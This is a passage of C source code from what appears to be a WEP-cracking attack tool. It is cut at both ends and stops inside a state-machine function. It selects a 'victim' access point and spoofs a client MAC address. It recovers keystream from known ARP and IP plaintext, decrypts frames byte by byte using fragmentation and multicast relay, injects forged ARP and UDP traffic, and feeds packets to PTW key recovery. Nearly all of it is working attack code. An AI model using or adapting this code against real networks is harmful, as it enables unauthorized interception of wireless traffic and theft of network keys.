1125 #if 0
1126 		// check if its a TTL update from dictionary stuff
1127 		if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1128 		    dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1129 			int ttl_delta, new_ttl;
1130 
1131 			ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1132 			new_ttl = 128 - ttl_delta;
1133 
1134 			if (ttl_val && new_ttl != ttl_val) {
1135 				time_print("oops. ttl changed from %d to %d\n",
1136 					   ttl_val, new_ttl);
1137 				exit(1);
1138 			}
1139 
1140 			if (!ttl_val) {
1141 				ttl_val = new_ttl;
1142 				printf("\n");
1143 				time_print("Got TTL of %d\n", ttl_val);
1144 				calculate_inet_clear();
1145 			}
1146 		}
1147 
1148 		// check if its dictionary data
1149 		if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1150 			log_dictionary(body, len - sizeof(*wh));
1151 		}
1152 #endif
1153 	}
1154 
1155 #if 0
1156 	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1157 		type, stype, mac2str(wh->i_addr2), len);
1158 #endif
1159 }
1160 
1161 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1162 	unsigned char* body;
1163 	int bodylen;
1164 	unsigned char clear[36];
1165 	unsigned char* ptr;
1166 	struct arphdr* h;
1167 	int i;
1168 
1169 	body = (unsigned char*) wh+sizeof(*wh);
1170 	ptr = clear;
1171 
1172 	// calculate clear-text
1173 	memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1174 	ptr += sizeof(arp_clear) -1;
1175 
1176 	h = (struct arphdr*)ptr;
1177 	h->ar_hrd = htons(ARPHRD_ETHER);
1178         h->ar_pro = htons(ETHERTYPE_IP);
1179         h->ar_hln = 6;
1180         h->ar_pln = 4;
1181         h->ar_op = htons(ARPOP_REQUEST);
1182 	ptr += sizeof(*h);
1183 
1184 	memcpy(ptr, wh->i_addr3, 6);
1185 
1186 	bodylen = rd - sizeof(*wh) - 4 - 4;
1187 	decryptstate.clen = bodylen;
1188 	decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1189 	if (!decryptstate.cipher) {
1190 		perror("malloc()");
1191 		exit(1);
1192 	}
1193 	decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1194 	if (!decryptstate.prgainfo.prga) {
1195 		perror("malloc()");
1196 		exit(1);
1197 	}
1198 
1199 
1200 	memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1201 	memcpy(decryptstate.prgainfo.iv, body, 3);
1202 
1203 	memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1204 	for(i = 0; i < (8+8+6); i++) {
1205 		decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1206 						clear[i];
1207 	}
1208 
1209 	decryptstate.prgainfo.len = i;
1210 	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1211 }
1212 
1213 void log_wep(struct ieee80211_frame* wh, int len) {
1214 	int rd;
1215 	struct pcap_pkthdr pkh;
1216 	struct timeval tv;
1217 	unsigned char *body = (unsigned char*) (wh+1);
1218 
1219 	memset(&pkh, 0, sizeof(pkh));
1220 	pkh.caplen = pkh.len = len;
1221 	if (gettimeofday(&tv, NULL) == -1)
1222 		err(1, "gettimeofday()");
1223 	pkh.ts = tv;
1224 	if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1225 		err(1, "write()");
1226 
1227 	rd = write(weplog.fd, wh, len);
1228 
1229 	if (rd == -1) {
1230 		perror("write()");
1231 		exit(1);
1232 	}
1233 	if (rd != len) {
1234 		time_print("short write %d out of %d\n", rd, len);
1235 		exit(1);
1236 	}
1237 
1238 #if 0
1239 	if (fsync(weplog.fd) == -1) {
1240 		perror("fsync()");
1241 		exit(1);
1242 	}
1243 #endif
1244 
1245 	memcpy(weplog.iv, body, 3);
1246 	weplog.packets++;
1247 }
1248 
1249 void try_dictionary(struct ieee80211_frame* wh, int len) {
1250 	unsigned char *body;
1251 	char path[52];
1252 	char paths[3][3];
1253 	int i;
1254 	int fd, rd;
1255 	unsigned char packet[4096];
1256 	int dlen;
1257 	struct ether_header* eh;
1258 	uLong crc;
1259 	unsigned long *pcrc;
1260 	unsigned char* dmac, *smac;
1261 
1262 	assert (len < sizeof(packet) + sizeof(*eh));
1263 
1264 	body = (unsigned char*) wh + sizeof(*wh);
1265 
1266 	for (i = 0; i < 3; i++)
1267 		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1268 
1269 	sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1270 
1271 	fd = open(path, O_RDONLY);
1272 	if (fd == -1)
1273 		return;
1274 
1275 	rd = read(fd, &packet[6], sizeof(packet)-6);
1276 	if (rd == -1) {
1277 		perror("read()");
1278 		exit(1);
1279 	}
1280 	close(fd);
1281 
1282 
1283 	dlen = len - sizeof(*wh) - 4;
1284 	if (dlen > rd) {
1285 		printf("\n");
1286 		time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1287 		dlen);
1288 		return;
1289 	}
1290 
1291 	body += 4;
1292 	for (i = 0; i < dlen; i++)
1293 		packet[6+i] ^= body[i];
1294 
1295 	dlen -= 4;
1296 	crc = crc32(0L, Z_NULL, 0);
1297 	crc = crc32(crc, &packet[6], dlen);
1298 	pcrc = (unsigned long*) (&packet[6+dlen]);
1299 
1300 	if (*pcrc != crc) {
1301 		printf("\n");
1302 		time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1303 			   path, *pcrc, crc);
1304 		return;
1305 	}
1306 
1307 	// fill ethernet header
1308 	eh = (struct ether_header*) packet;
1309 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1310 		smac = wh->i_addr3;
1311 	else
1312 		smac = wh->i_addr2;
1313 
1314 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1315 		dmac = wh->i_addr3;
1316 	else
1317 		dmac = wh->i_addr1;
1318 
1319 	memcpy(eh->ether_dhost, dmac, 6);
1320 	memcpy(eh->ether_shost, smac, 6);
1321 	// ether type should be there from llc
1322 
1323 	dlen -= 8; // llc
1324 	dlen += sizeof(*eh);
1325 
1326 #if 0
1327 	printf("\n");
1328 	time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1329 	hexdump(packet, dlen);
1330 #endif
1331 
1332 	rd = write(tapfd, packet, dlen);
1333 	if (rd == -1) {
1334 		perror("write()");
1335 		exit(1);
1336 	}
1337 	if (rd != dlen) {
1338 		printf("Wrote %d / %d\n", rd, dlen);
1339 		exit(1);
1340 	}
1341 }
1342 
1343 int is_arp(struct ieee80211_frame *wh, int len)
1344 {
1345         int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1346 
1347         if (len == arpsize || len == 54)
1348                 return 1;
1349 
1350         return 0;
1351 }
1352 
1353 void *get_sa(struct ieee80211_frame *wh)
1354 {
1355         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1356                 return wh->i_addr3;
1357         else
1358                 return wh->i_addr2;
1359 }
1360 
1361 void *get_da(struct ieee80211_frame *wh)
1362 {
1363         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1364                 return wh->i_addr1;
1365         else
1366                 return wh->i_addr3;
1367 }
1368 
1369 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1370 {
1371         unsigned char *ptr = clear;
1372 
1373         /* IP */
1374         if (!is_arp(wh, len)) {
1375                 unsigned short iplen = htons(len - 8);
1376 
1377 //                printf("Assuming IP %d\n", len);
1378 
1379                 len = sizeof(S_LLC_SNAP_IP) - 1;
1380                 memcpy(ptr, S_LLC_SNAP_IP, len);
1381                 ptr += len;
1382 #if 1
1383                 len = 2;
1384                 memcpy(ptr, "\x45\x00", len);
1385                 ptr += len;
1386 
1387                 memcpy(ptr, &iplen, len);
1388                 ptr += len;
1389 #endif
1390                 len = ptr - ((unsigned char*)clear);
1391                 return len;
1392         }
1393 //        printf("Assuming ARP %d\n", len);
1394 
1395         /* arp */
1396         len = sizeof(S_LLC_SNAP_ARP) - 1;
1397         memcpy(ptr, S_LLC_SNAP_ARP, len);
1398         ptr += len;
1399 
1400         /* arp hdr */
1401         len = 6;
1402         memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1403         ptr += len;
1404 
1405         /* type of arp */
1406         len = 2;
1407         if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1408                 memcpy(ptr, "\x00\x01", len);
1409         else
1410                 memcpy(ptr, "\x00\x02", len);
1411         ptr += len;
1412 
1413         /* src mac */
1414         len = 6;
1415         memcpy(ptr, get_sa(wh), len);
1416         ptr += len;
1417 
1418         len = ptr - ((unsigned char*)clear);
1419         return len;
1420 }
1421 
1422 void add_keystream(struct ieee80211_frame* wh, int rd)
1423 {
1424 	unsigned char clear[1024];
1425 	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1426 	int clearsize;
1427 	unsigned char *body = (unsigned char*) (wh+1);
1428 	int i;
1429 
1430 	clearsize = known_clear(clear, wh, dlen);
1431 	if (clearsize < 16)
1432 		return;
1433 
1434 	for (i = 0; i < 16; i++)
1435 		clear[i] ^= body[4+i];
1436 
1437 	PTW_addsession(ptw, body, clear);
1438 }
1439 
1440 void got_wep(struct ieee80211_frame* wh, int rd) {
1441 	int bodylen;
1442 	int dlen;
1443 	unsigned char clear[1024];
1444 	int clearsize;
1445 	unsigned char *body;
1446 
1447 	bodylen = rd - sizeof(struct ieee80211_frame);
1448 
1449 	dlen = bodylen - 4 - 4;
1450 	body = (unsigned char*) wh + sizeof(*wh);
1451 
1452 
1453 	// log it if its stuff not from us...
1454 	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1455 	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1456 	        memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1457 
1458 		if (body[3] != 0) {
1459 			time_print("Key index=%x!!\n", body[3]);
1460 			exit(1);
1461 		}
1462 		log_wep(wh, rd);
1463 		add_keystream(wh, rd);
1464 
1465 		// try to decrypt too
1466 		try_dictionary(wh, rd);
1467 	}
1468 
1469 	// look for arp-request packets... so we can decrypt em
1470 	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1471 	    (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1472 	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1473 	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
1474 	    !decryptstate.cipher &&
1475 	    !netip) {
1476 		decrypt_arpreq(wh, rd);
1477 	}
1478 
1479 	// we have prga... check if its our stuff being relayed...
1480 	if (prgainfo.len != 0) {
1481 		// looks like it...
1482 		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1483 		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1484 		    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1485 		    dlen == fragstate.len) {
1486 
1487 //			printf("I fink AP relayed it...\n");
1488 			set_prga(body, &body[4], fragstate.data, dlen);
1489 			free(fragstate.data);
1490 			fragstate.data = NULL;
1491 			fragstate.waiting_relay = 0;
1492 		}
1493 
1494 		// see if we get the multicast stuff of when decrypting
1495 		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1496 		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1497 		    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1498 		    dlen == 36) {
1499 
1500 			unsigned char pr = wh->i_addr1[5];
1501 
1502 			printf("\n");
1503 			time_print("Got clear-text byte: %d\n",
1504 			decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1505 
1506 			decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1507 			decryptstate.prgainfo.len++;
1508 			decryptstate.fragstate.waiting_relay = 1;
1509 
1510 			// ok we got the ip...
1511 			if (decryptstate.prgainfo.len == 26+1) {
1512 				unsigned char ip[4];
1513 				int i;
1514 				struct in_addr *in = (struct in_addr*) ip;
1515 				unsigned char *ptr;
1516 
1517 				for (i = 0; i < 4; i++)
1518 					ip[i] = decryptstate.cipher[8+8+6+i] ^
1519 						decryptstate.prgainfo.prga[8+8+6+i];
1520 
1521 				assert(!netip);
1522 				netip = (unsigned char*) malloc(16);
1523 				if(!netip) {
1524 					perror("malloc()");
1525 					exit(1);
1526 				}
1527 
1528 				memset(netip, 0, 16);
1529 				strcpy(netip, inet_ntoa(*in));
1530 
1531 				time_print("Got IP=(%s)\n", netip);
1532 				strcpy(myip, netip);
1533 
1534 				ptr = strchr(myip, '.');
1535 				assert(ptr);
1536 				ptr = strchr(ptr+1, '.');
1537 				assert(ptr);
1538 				ptr = strchr(ptr+1, '.');
1539 				assert(ptr);
1540 				strcpy(ptr+1,"123");
1541 
1542 				time_print("My IP=(%s)\n", myip);
1543 
1544 
1545 				free(decryptstate.prgainfo.prga);
1546 				free(decryptstate.cipher);
1547 				memset(&decryptstate, 0, sizeof(decryptstate));
1548 			}
1549 		}
1550 		return;
1551 	}
1552 
1553 	clearsize = known_clear(clear, wh, dlen);
1554 	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1555 
1556 	set_prga(body, &body[4], clear, clearsize);
1557 }
1558 
1559 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1560 	int type,stype;
1561 
1562 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1563 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1564 
1565 	if (type == IEEE80211_FC0_TYPE_DATA &&
1566 	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1567 		int dlen = rd - sizeof(struct ieee80211_frame);
1568 
1569 		if (state == SPOOF_MAC) {
1570 			unsigned char mac[6];
1571 			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1572 				memcpy(mac, wh->i_addr3, 6);
1573 			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1574 				memcpy(mac, wh->i_addr1, 6);
1575 			} else assert(0);
1576 
1577 			if (mac[0] == 0xff || mac[0] == 0x1)
1578 				return;
1579 
1580 			memcpy(mymac, mac, 6);
1581 			time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1582 			state = FOUND_VICTIM;
1583 			return;
1584 		}
1585 
1586 		// wep data!
1587 		if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1588 			got_wep(wh, rd);
1589 		}
1590 	}
1591 }
1592 
1593 void anal(unsigned char* buf, int rd, int tx) { // yze
1594 	struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1595 	int type,stype;
1596 	static int lastseq = -1;
1597 	int seq;
1598 	unsigned short *seqptr;
1599 	int for_us = 0;
1600 
1601 	if (rd < 1) {
1602 		time_print("rd=%d\n", rd);
1603 		exit(1);
1604 	}
1605 
1606 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1607 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1608 
1609 	// sort out acks
1610 	if (state >= FOUND_VICTIM) {
1611 		// stuff for us
1612 		if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1613 			for_us = 1;
1614 			if (type != IEEE80211_FC0_TYPE_CTL)
1615 				send_ack(tx);
1616 		}
1617 	}
1618 
1619 	// XXX i know it aint great...
1620 	seqptr = (unsigned short*)  wh->i_seq;
1621 	seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1622 	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1623 	    type != IEEE80211_FC0_TYPE_CTL) {
1624 //		printf("Ignoring dup packet... seq=%d\n", seq);
1625 		return;
1626 	}
1627 	lastseq = seq;
1628 
1629 	// management frame
1630 	if (type == IEEE80211_FC0_TYPE_MGT) {
1631 		if(state == FIND_VICTIM) {
1632 			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1633 			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1634 
1635 				if (get_victim_ssid(wh, rd)) {
1636 					return;
1637 				}
1638 			}
1639 
1640 		}
1641 	}
1642 
1643 	if (state >= FOUND_VICTIM) {
1644 		// stuff for us
1645 		if (for_us) {
1646 			stuff_for_us(wh, rd);
1647 		}
1648 
1649 		// stuff in network [even for us]
1650 		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1651 			  (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1652 
1653 			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1654 			  (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1655 			   ) {
1656 			stuff_for_net(wh, rd);
1657 		}
1658 	}
1659 }
1660 
1661 void do_arp(unsigned char* buf, unsigned short op,
1662 	    unsigned char* m1, unsigned char* i1,
1663 	    unsigned char* m2, unsigned char* i2) {
1664 
1665         struct in_addr sip;
1666         struct in_addr dip;
1667 	struct arphdr* h;
1668 	unsigned char* data;
1669 
1670         inet_aton(i1, &sip);
1671         inet_aton(i2, &dip);
1672 	h = (struct arphdr*) buf;
1673 
1674 	memset(h, 0, sizeof(*h));
1675 
1676 	h->ar_hrd = htons(ARPHRD_ETHER);
1677         h->ar_pro = htons(ETHERTYPE_IP);
1678         h->ar_hln = 6;
1679         h->ar_pln = 4;
1680         h->ar_op = htons(op);
1681 
1682 	data = (unsigned char*) h + sizeof(*h);
1683 
1684 	memcpy(data, m1, 6);
1685 	data += 6;
1686 	memcpy(data, &sip, 4);
1687 	data += 4;
1688 
1689 	memcpy(data, m2, 6);
1690 	data += 6;
1691 	memcpy(data, &dip, 4);
1692 	data += 4;
1693 }
1694 
1695 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1696 	unsigned char buf[4096];
1697 	struct ieee80211_frame* wh;
1698 	unsigned char* body;
1699 	int fragsize;
1700 	uLong crc;
1701 	unsigned long *pcrc;
1702 	int i;
1703 	unsigned short* seq;
1704 	unsigned short sn, fn;
1705 
1706 	wh = (struct ieee80211_frame*) buf;
1707 	memcpy(wh, &fs->wh, sizeof(*wh));
1708 
1709 	body = (unsigned char*) wh + sizeof(*wh);
1710 	memcpy(body, &pi->iv, 3);
1711 	body += 3;
1712 	*body++ = 0; // key index
1713 
1714 	fragsize = fs->data + fs->len - fs->ptr;
1715 
1716 	assert(fragsize > 0);
1717 
1718 	if ( (fragsize + 4) > pi->len) {
1719 		fragsize = pi->len  - 4;
1720 		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1721 	}
1722 	// last fragment
1723 	else {
1724 		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1725 	}
1726 
1727 	memcpy(body, fs->ptr, fragsize);
1728 
1729 	crc = crc32(0L, Z_NULL, 0);
1730 	crc = crc32(crc, body, fragsize);
1731 	pcrc = (unsigned long*) (body+fragsize);
1732 	*pcrc = crc;
1733 
1734 	for (i = 0; i < (fragsize + 4); i++)
1735 		body[i] ^= pi->prga[i];
1736 
1737 	seq = (unsigned short*) &wh->i_seq;
1738 	sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1739 	fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1740 //	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1741 
1742 	send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1743 
1744 	seq = (unsigned short*) &fs->wh.i_seq;
1745 	*seq = fnseq(++fn, sn);
1746 	fs->ptr += fragsize;
1747 
1748 	if (fs->ptr - fs->data == fs->len) {
1749 //		printf("Finished sending frags...\n");
1750 		fs->waiting_relay = 1;
1751 	}
1752 }
1753 
1754 void prepare_fragstate(struct frag_state* fs, int pad) {
1755 	fs->waiting_relay = 0;
1756 	fs->len = 8 + 8 + 20 + pad;
1757 	fs->data = (unsigned char*) malloc(fs->len);
1758 
1759 	if(!fs->data) {
1760 		perror("malloc()");
1761 		exit(1);
1762 	}
1763 
1764 	fs->ptr = fs->data;
1765 
1766 	do_llc(fs->data, ETHERTYPE_ARP);
1767 	do_arp(&fs->data[8], ARPOP_REQUEST,
1768 	       mymac, myip,
1769 	       "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1770 
1771 	memset(&fs->wh, 0, sizeof(fs->wh));
1772 	fill_basic(&fs->wh);
1773 
1774 	memset(fs->wh.i_addr3, 0xff, 6);
1775 	fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1776 	fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1777 				IEEE80211_FC1_MORE_FRAG |
1778 				IEEE80211_FC1_WEP;
1779 
1780 	memset(&fs->data[8+8+20], 0, pad);
1781 }
1782 
1783 void discover_prga(int tx) {
1784 
1785 	// create packet...
1786 	if (!fragstate.data) {
1787 		int pad = 0;
1788 
1789 		if (prgainfo.len >= 20)
1790 			pad = prgainfo.len*3;
1791 
1792 		prepare_fragstate(&fragstate, pad);
1793 	}
1794 
1795 	if (!fragstate.waiting_relay) {
1796 		send_fragment(tx, &fragstate, &prgainfo);
1797 		if (fragstate.waiting_relay) {
1798 			if (gettimeofday(&fragstate.last, NULL) == -1)
1799 				err(1, "gettimeofday()");
1800 		}
1801 	}
1802 }
1803 
1804 void decrypt(int tx) {
1805 
1806 	// gotta initiate
1807 	if (!decryptstate.fragstate.data) {
1808 		prepare_fragstate(&decryptstate.fragstate, 0);
1809 
1810 		memcpy(decryptstate.fragstate.wh.i_addr3,
1811 		       MCAST_PREF, 5);
1812 
1813 		decryptstate.fragstate.wh.i_addr3[5] =
1814 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1815 
1816 		decryptstate.prgainfo.len++;
1817 	}
1818 
1819 	// guess diff prga byte...
1820 	if (decryptstate.fragstate.waiting_relay) {
1821 		unsigned short* seq;
1822 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1823 
1824 #if 0
1825 		if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1826 			printf("Can't decrpyt!\n");
1827 			exit(1);
1828 		}
1829 #endif
1830 		decryptstate.fragstate.wh.i_addr3[5] =
1831 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1832 
1833 		decryptstate.fragstate.waiting_relay = 0;
1834 		decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1835 
1836 		seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1837 		*seq = fnseq(0, txstate.psent);
1838 	}
1839 
1840 	send_fragment(tx, &decryptstate.fragstate,
1841 		      &decryptstate.prgainfo);
1842 }
1843 
1844 void flood_inet(tx) {
1845 	static int send_arp = -1;
1846 	static unsigned char arp_pkt[128];
1847 	static int arp_len;
1848 	static unsigned char udp_pkt[128];
1849 	static int udp_len;
1850 	static struct timeval last_ip;
1851 
1852 	// need to init packets...
1853 	if (send_arp == -1) {
1854 		unsigned char* body;
1855 		unsigned char* ptr;
1856 		struct ieee80211_frame* wh;
1857 		struct ip* ih;
1858 		struct udphdr* uh;
1859 
1860 		memset(arp_pkt, 0, sizeof(arp_pkt));
1861 		memset(udp_pkt, 0, sizeof(udp_pkt));
1862 
1863 		// construct ARP
1864 		wh = (struct ieee80211_frame*) arp_pkt;
1865 		fill_basic(wh);
1866 
1867 		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1868 		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1869 		memset(wh->i_addr3, 0xff, 6);
1870 
1871 		body = (unsigned char*) wh + sizeof(*wh);
1872 		ptr = body;
1873 		ptr += 4; // iv
1874 
1875 		do_llc(ptr, ETHERTYPE_ARP);
1876 		ptr += 8;
1877 		do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1878 		       "\x00\x00\x00\x00\x00\x00", netip);
1879 
1880 		wepify(body, 8+8+20);
1881 		arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1882 		assert(arp_len < sizeof(arp_pkt));
1883 
1884 
1885 		// construct UDP
1886 		wh = (struct ieee80211_frame*) udp_pkt;
1887 		fill_basic(wh);
1888 
1889 		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1890 		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1891 		memcpy(wh->i_addr3, rtrmac, 6);
1892 
1893 		body = (unsigned char*) wh + sizeof(*wh);
1894 		ptr = body;
1895 		ptr += 4; // iv
1896 
1897 		do_llc(ptr, ETHERTYPE_IP);
1898 		ptr += 8;
1899 
1900 		ih = (struct ip*) ptr;
1901 		ih->ip_hl = 5;
1902 		ih->ip_v = 4;
1903 		ih->ip_tos = 0;
1904 		ih->ip_len = htons(20+8+5);
1905 		ih->ip_id = htons(666);
1906 		ih->ip_off = 0;
1907 		ih->ip_ttl = 128;
1908 		ih->ip_p = IPPROTO_UDP;
1909 		ih->ip_sum = 0;
1910 
1911 		inet_aton(myip, &ih->ip_src);
1912 		inet_aton(floodip, &ih->ip_dst);
1913 
1914 		ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1915 
1916 		ptr += 20;
1917 		uh = (struct udphdr*) ptr;
1918 		uh->uh_sport = htons(floodsport);
1919 		uh->uh_dport = htons(floodport);
1920 		uh->uh_ulen = htons(8+5);
1921 		uh->uh_sum = 0;
1922 
1923 		ptr += 8;
1924 		strcpy(ptr, "sorbo");
1925 
1926 		uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1927 					  &ih->ip_dst);
1928 
1929 		wepify(body, 8+20+8+5);
1930 		udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1931 		assert(udp_len < sizeof(udp_pkt));
1932 
1933 		// bootstrap
1934 		send_arp = 1;
1935 
1936 		memset(&last_ip, 0, sizeof(last_ip));
1937 	}
1938 
1939 	if (send_arp == 1) {
1940 		struct timeval now;
1941 		unsigned long sec;
1942 
1943 		if (gettimeofday(&now, NULL) == -1) {
1944 			perror("gettimeofday()");
1945 			exit(1);
1946 		}
1947 
1948 		sec = now.tv_sec - last_ip.tv_sec;
1949 
1950 		if (sec < 5)
1951 			return;
1952 
1953 		send_frame(tx, arp_pkt, arp_len);
1954 		send_arp = 0;
1955 	}
1956 
1957 	else if (send_arp == 0) {
1958 		if (gettimeofday(&last_ip, NULL) == -1) {
1959 			perror("gettimeofday()");
1960 			exit(1);
1961 		}
1962 
1963 		send_frame(tx, udp_pkt, udp_len);
1964 		send_arp = 1;
1965 	} else assert(0);
1966 }
1967 
1968 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1969 	      unsigned char* srcmac, unsigned char* dstip,
1970 	      unsigned char* dstmac) {
1971 
1972 	static unsigned char arp_pkt[128];
1973 	unsigned char* body;
1974 	unsigned char* ptr;
1975 	struct ieee80211_frame* wh;
1976 	int arp_len;
1977 
1978 	memset(arp_pkt, 0, sizeof(arp_pkt));
1979 
1980 	// construct ARP
1981 	wh = (struct ieee80211_frame*) arp_pkt;
1982 	fill_basic(wh);
1983 
1984 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1985 	wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1986 	memset(wh->i_addr3, 0xff, 6);
1987 
1988 	body = (unsigned char*) wh + sizeof(*wh);
1989 	ptr = body;
1990 	ptr += 4; // iv
1991 
1992 	do_llc(ptr, ETHERTYPE_ARP);
1993 	ptr += 8;
1994 	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1995 
1996 	wepify(body, 8+8+20);
1997 	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1998 	assert(arp_len < sizeof(arp_pkt));
1999 
2000 	send_frame(tx, arp_pkt, arp_len);
2001 }
2002 
2003 void can_write(int tx) {
2004 	static char arp_ip[16];
2005 
2006 	switch (state) {
2007 		case FOUND_VICTIM:
2008 			send_auth(tx);
2009 			state = SENDING_AUTH;
2010 			break;
2011 
2012 		case GOT_AUTH:
2013 			send_assoc(tx);
2014 			state = SENDING_ASSOC;
2015 			break;
2016 
2017 		case GOT_ASSOC:
2018 			if (prgainfo.prga && prgainfo.len < min_prga) {
2019 				discover_prga(tx);
2020 				break;
2021 			}
2022 
2023 			if (decryptstate.cipher) {
2024 				decrypt(tx);
2025 				break;
2026 			}
2027 
2028 			if (!prgainfo.prga)
2029 				break;
2030 
2031 			if (taptx_len) {
2032 				send_frame(tx, taptx, taptx_len);
2033 				taptx_len = 0;
2034 				break;
2035 			}
2036 
2037 			// try to find rtr mac addr
2038 			if (netip && !rtrmac) {
2039 				char* ptr;
2040 
2041 				strcpy(arp_ip, netip);
2042 				if (!netip_arg) {
2043 					ptr = strchr(arp_ip, '.');
2044 					assert(ptr);
2045 					ptr = strchr(++ptr, '.');
2046 					assert(ptr);
2047 					ptr = strchr(++ptr, '.');
2048 					assert(ptr);
2049 					strcpy(++ptr, "1");
2050 				}
2051 
2052 				if (gettimeofday(&arpsend, NULL) == -1)
2053 					err(1, "gettimeofday()");
2054 
2055 				time_print("Sending arp request for: %s\n", arp_ip);
2056 				send_arp(tx, ARPOP_REQUEST, myip, mymac,
2057 					 arp_ip, "\x00\x00\x00\x00\x00\x00");
2058 
2059 				// XXX lame
2060 				rtrmac = (unsigned char*)1;
2061 				break;
2062 			}
2063 
2064 			// need to generate traffic...
2065 			if (rtrmac > (unsigned char*)1 && netip) {
2066 				if (floodip)
2067 					flood_inet(tx);
